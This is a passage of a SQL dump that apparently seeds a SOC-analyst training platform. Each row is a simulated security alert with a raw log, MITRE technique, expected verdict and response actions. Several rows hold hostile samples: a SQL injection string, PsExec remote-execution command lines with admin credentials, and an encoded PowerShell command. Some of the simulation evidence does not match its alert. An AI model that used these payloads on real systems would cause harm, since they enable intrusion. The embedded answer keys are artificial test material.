1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1634, 'Malicious Web Request with SQL Injection Payload', 'critical', 'Firewall', 'A web request containing a SQL injection payload was detected targeting the finance application server.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:18:39Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.14\",\"dst_ip\":\"192.168.1.55\",\"username\":\"\",\"hostname\":\"finance-app\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple web application attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server hosting finance application.\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a classic SQL injection attempt, indicative of an attack on the web application.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1635, 'Encoded PowerShell Command Execution - False Positive', 'medium', 'Velociraptor', 'PowerShell executed an encoded command. Upon further inspection, it was a scheduled maintenance script.', 'Suspicious Activity', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:55:17Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.80\",\"dst_ip\":\"\",\"username\":\"maintenance_user\",\"hostname\":\"maintenance-server\",\"request_body\":\"\",\"command_line\":\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used in scheduled maintenance scripts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP used for maintenance tasks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"The encoded PowerShell command is part of a legitimate scheduled task, not malicious activity.\"}', 'Advanced', 'IR', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1636, 'Possible Lateral Movement via PsExec', 'high', 'Velociraptor', 'PsExec was executed from an internal system to another, possibly indicating lateral movement.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:30:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":\"192.168.1.85\",\"username\":\"attacker_user\",\"hostname\":\"attacker-pc\",\"request_body\":\"\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.85 -u admin -p password cmd.exe\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.85 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PsExec used in lateral movement attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the initiating system.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the target system.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PsExec to run commands on another machine is indicative of lateral movement within the network.\"}', 'Advanced', 'IR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1637, 'False Positive: Automated Backup Process Triggered', 'low', 'Wazuh', 'An automated backup process was detected, which involves transferring large volumes of data to a remote storage server.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T17:24:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.200\",\"username\":\"backup_user\",\"hostname\":\"backup-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Trusted remote storage IP for backups.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal backup server IP.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer is part of a scheduled backup process, not unauthorized exfiltration.\"}', 'Advanced', 'IR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1638, 'Ransomware File Encryption Detected', 'critical', 'KAPE', 'A large number of files were encrypted on the server, with extensions changed to .lockbit. This is indicative of a ransomware attack.', 'Malware', 'T1486', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:50:18Z\",\"event_type\":\"file_modification\",\"src_ip\":\"192.168.1.95\",\"dst_ip\":\"\",\"username\":\"compromised_user\",\"hostname\":\"file-server\",\"request_body\":\"\",\"command_line\":\"\",\"file_hash\":\"abcd1234efgh5678ijkl\",\"file_extension\":\".lockbit\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"abcd1234efgh5678ijkl\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with LockBit ransomware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.95\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised file server.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file encryption and use of the .lockbit extension confirm the presence of ransomware.\"}', 'Advanced', 'IR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1639, 'Unusual Network Traffic: Potential False Positive', 'medium', 'Firewall', 'Anomalous network traffic was detected, possibly related to legitimate software updates.', 'Suspicious Activity', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:12:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.110\",\"dst_ip\":\"198.51.100.101\",\"username\":\"update_user\",\"hostname\":\"update-client\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"IP associated with trusted software update services.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.110\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of a client machine performing updates.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"The network traffic appears to be related to legitimate software updates, not malicious activity.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1640, 'Unauthorized PsExec Execution Detected', 'high', 'FTK', 'PsExec was used to execute a process on a remote host, indicating potential lateral movement.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:37:29Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.120\",\"dst_ip\":\"192.168.1.125\",\"username\":\"hacker_user\",\"hostname\":\"compromised-pc\",\"request_body\":\"\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.125 -u admin -p password notepad.exe\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.125 -u admin -p password notepad.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PsExec used for remote execution in lateral movement attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.120\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised machine.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.125\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted machine.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec is indicative of lateral movement within the network, used here to execute commands on a remote server.\"}', 'Advanced', 'IR', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p 